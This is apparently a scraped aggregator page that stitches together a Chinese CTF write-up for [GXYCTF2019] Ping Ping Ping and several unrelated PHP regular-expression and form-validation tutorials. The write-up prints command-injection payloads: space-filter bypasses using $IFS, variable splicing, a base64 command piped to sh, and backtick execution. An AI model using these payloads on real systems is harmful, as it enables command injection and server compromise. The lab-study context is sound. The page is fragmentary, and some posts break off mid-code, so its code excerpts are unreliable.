preg_match

[GXYCTF2019]Ping Ping Ping

时光毁灭记忆、已成空白 提交于 2020-01-31 19:54:20
0x00 知识点 命令执行变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 内联执行 将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;cat$IFS$9`ls` 0x01 解题 打开题目,联想到XCTF中的一道题目 命令执行的方法大抵是加上管道符或者分号,那么试试管道符 /?ip=127.0.0.1|ls 看到flag.php index.php 试着读flag.php 看到提示空格被ban: 绕过空格的方法大概有以下几种: $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09 ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加\,所以甚至可以ca\t /fl\ag 尝试 发现{被ban $IFS$1: flag被ban。。 我们先来试着读取一下index.php: /?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\

php 正则表达式

跟風遠走 提交于 2020-01-28 04:13:12
原文: http://www.cnblogs.com/baochuan/archive/2012/03/12/2391135.html#dingjiefu 介绍 正则表达式,大家在开发中应该是经常用到,现在很多开发语言都有正则表达式的应用,比如javascript,java,.net,php等等,我今天就把我对正则表达式的理解跟大家唠唠,不当之处,请多多指教! 需要知道的术语——下面的术语你知道多少? Δ 定界符 Δ 字符域 Δ 修饰符 Δ 限定符 Δ 脱字符 Δ 通配符(正向预查,反向预查) Δ 反向引用 Δ 惰性匹配 Δ 注释 Δ 零字符宽 定位 我们什么时候使用正则表达式呢?不是所有的字符操作都用正则就好了,php在某些方面用正则反而影响效率。当我们遇到 复杂文本数据 的解析时候,用正则是比较好的选择。 优点 正则表达式在处理复杂字符操作的时候,可以 提高工作效率 ,也在一定程度 节省你的代码量 。 缺点 我们在使用正则表达式的时候,复杂的正则表达式会加大代码的 复杂度 ,让人很 难理解 。所以我们有的时候需要在正则表达式内部添加注释。 通用模式 ¤ 定界符,通常使用 "/"做为定界符开始和结束,也可以使用"#"。   什么时候使用"#"呢?一般是在你的字符串中有 很多"/"字符 的时候,因为正则的时候这种字符需要转义,比如uri。 使用"/"定界符的代码如下. ?

PHP正则表达式及表单注册案例

走远了吗. 提交于 2020-01-14 12:02:10
正则表达式是一种具有特定模式的用来匹配文本的字符串 preg_match 匹配 $pattern = '/php/'; $subject = "php 是最好的编程语言,php 没有之一!"; $result = preg_match($pattern,$subject); if($result){ echo "<h1>匹配成功</h1>"; }else{ echo "<h1>匹配不成功</h1>"; } preg_match_all 匹配所有 $pattern = '/php/'; $subject = "php是最好的编程语言,不会php的程序员不是好程序员!"; $result = preg_match_all($pattern,$subject,$matches); var_dump($result); var_dump($matches); //preg_match=== //int 1 //array (size=1) // 0 => string 'php' (length=3) //preg_match_all ==== //int 2 //array (size=1) // 0 => // array (size=2) // 0 => string 'php' (length=3) // 1 => string 'php' (length=3) preg

文章采集代码

橙三吉。 提交于 2020-01-06 17:21:22
<?php //1.告诉采集页面的地址 $url = 'http://www.zgjiemeng.com/dongwu/'; //2.读取采集页面地址 $str = file_get_contents($url); // echo $str; echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />'; //3.定义采集文章链接区域的正则 $pattern_qu = '/<ul class=\"list2 clearfix\">([\S\s]*?)<\/ul>/'; //4.进行正则匹配 将文章区域的链接匹配到 preg_match($pattern_qu,$str,$match_url); // var_dump($match_url[1]); preg_match_all ("/<li>(.*)<\/li>/U", $match_url[1], $pat_array); print_r( $pat_array[0][1]); preg_match_all ("/<li><a target=\"_blank\" title=\"(.*)\" href=\"(.*)\">(.*)<\/a><\/li>/U", $pat_array[0][1], $pat_array); print_r(

文章采集代码

混江龙づ霸主 提交于 2020-01-05 23:50:01
<?php //1.告诉采集页面的地址 $url = 'http://www.zgjiemeng.com/dongwu/'; //2.读取采集页面地址 $str = file_get_contents($url); // echo $str; echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />'; //3.定义采集文章链接区域的正则 $pattern_qu = '/<ul class=\"list2 clearfix\">([\S\s]*?)<\/ul>/'; //4.进行正则匹配 将文章区域的链接匹配到 preg_match($pattern_qu,$str,$match_url); // var_dump($match_url[1]); preg_match_all ("/<li>(.*)<\/li>/U", $match_url[1], $pat_array); print_r( $pat_array[0][1]); preg_match_all ("/<li><a target=\"_blank\" title=\"(.*)\" href=\"(.*)\">(.*)<\/a><\/li>/U", $pat_array[0][1], $pat_array); print_r(

PHP 正则表达式匹配函数 preg_match 与 preg_match_all

断了今生、忘了曾经 提交于 2019-12-18 15:06:15
preg_match() preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。 语法: 1 int preg_match( string pattern, string subject [, array matches ] ) 参数说明: 参数 说明 pattern 正则表达式 subject 需要匹配检索的对象 matches 可选,存储匹配结果的数组, $matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推 例子 1: 1 2 3 4 5 6 7 8 9 <?php if (preg_match( "/php/i" , "PHP is the web scripting language of choice." , $matches )) { print "A match was found:" . $matches [0]; } else { print "A match was not found." ; } 输出: 1 A match was found:PHP 在该例子中,由于使用了 i 修正符,因此会不区分大小写去文本中匹配 php 。 注意: preg_match() 第一次匹配成功后就会停止匹配,如果要实现全部结果的匹配,即搜索到subject结尾处

php常用表单验证类

心不动则不痛 提交于 2019-12-06 11:42:52
<?php /** * 页面作用:常用表单验证类 */ class class_post { //验证是否为指定长度的字母/数字组合 function fun_text1($num1,$num2,$str) { return (preg_match("/^[a-zA-Z0-9]{".$num1.",".$num2."}$/",$str))?true:false; } //验证是否为指定长度数字 function fun_text2($num1,$num2,$str) { return (preg_match("/^[0-9]{".$num1.",".$num2."}$/i",$str))?true:false; } //验证是否为指定长度汉字 function fun_font($num1,$num2,$str) { // preg_match("/^[\xa0-\xff]{1,4}$/", $string); return (preg_match("/^([\x81-\xfe][\x40-\xfe]){".$num1.",".$num2."}$/",$str))?true:false; } //验证身份证号码 function fun_status($str) { return (preg_match('/(^([\d]{15}|[\d]{18}|[\d]{17}x)$)/',

php学习之 表单

强颜欢笑 提交于 2019-12-06 11:42:22
1,htmlspecialchars() htmlspecialchars() 函数把特殊字符转换为 HTML 实体。这意味着 < 和 > 之类的 HTML 字符会被替换为 &lt; 和 &gt; 。这样可防止攻击者通过在表单中注入 HTML 或 JavaScript 代码(跨站点脚本攻击)对代码进行利用。 2,PHP trim() (通过 PHP trim() 函数)去除用户输入数据中不必要的字符(多余的空格、制表符、换行) 3,stripslashes() (通过 PHP stripslashes() 函数)删除用户输入数据中的反斜杠(\) 4,PHP - 验证名字通过正则 $email = test_input($_POST["email"]); if (!preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/",$email)) { $emailErr = "无效的 email 格式!"; } preg_match($one,$two); preg_match作用是通过正则表达式判断 它有 两个参数: 第一个$one 正则表达式 第二个 $two 要匹配的数据 来源: CSDN 作者: 星宸楚梦 链接: https://blog.csdn.net/nanshan_hzq/article/details/45918485

PHP常用(正则)表单验证类

為{幸葍}努か 提交于 2019-12-06 11:41:37
这些天一直在整理项目,就把一些常用的总结了一下. <?php /** * 页面作用:常用表单验证类 */ class class_post { //验证是否为指定长度的字母/数字组合 function fun_text1($num1,$num2,$str) { return (preg_match("/^[a-zA-Z0-9]{".$num1.",".$num2."}$/",$str))?true:false; } //验证是否为指定长度数字 function fun_text2($num1,$num2,$str) { return (preg_match("/^[0-9]{".$num1.",".$num2."}$/i",$str))?true:false; } //验证是否为指定长度汉字 function fun_font($num1,$num2,$str) { // preg_match("/^[\xa0-\xff]{1,4}$/", $string); return (preg_match("/^([\x81-\xfe][\x40-\xfe]){".$num1.",".$num2."}$/",$str))?true:false; } //验证身份证号码 function fun_status($str) { return (preg_match('/(^([\d]{15}|

PHP 正则表达式匹配 preg_match 与 preg_match_all 函数

百般思念 提交于 2019-12-05 12:50:15
正则表达式在 PHP 中的应用 在 PHP 应用中,正则表达式主要用于: 正则匹配:根据正则表达式匹配相应的内容 正则替换:根据正则表达式匹配内容并替换 正则分割:根据正则表达式分割字符串 在 PHP 中有两类正则表达式函数,一类是 Perl 兼容正则表达式函数,一类是 POSIX 扩展正则表达式函数。二者差别不大,而且推荐使用Perl 兼容正则表达式函数,因此下文都是以 Perl 兼容正则表达式函数为例子说明。 定界符 Perl 兼容模式的正则表达式函数,其正则表达式需要写在定界符中。任何不是字母、数字或反斜线()的字符都可以作为定界符,通常我们使用 / 作为定界符。具体使用见下面的例子。 提示 尽管正则表达式功能非常强大,但如果用普通字符串处理函数能完成的,就尽量不要用正则表达式函数,因为正则表达式效率会低得多。关于普通字符串处理函数,请参见《 PHP 字符串处理 》。 preg_match() preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。 语法: int preg_match( string pattern, string subject [, array matches ] ) 参数说明: 参数 说明 pattern 正则表达式 subject 需要匹配检索的对象 matches 可选,存储匹配结果的数组, $matches[0]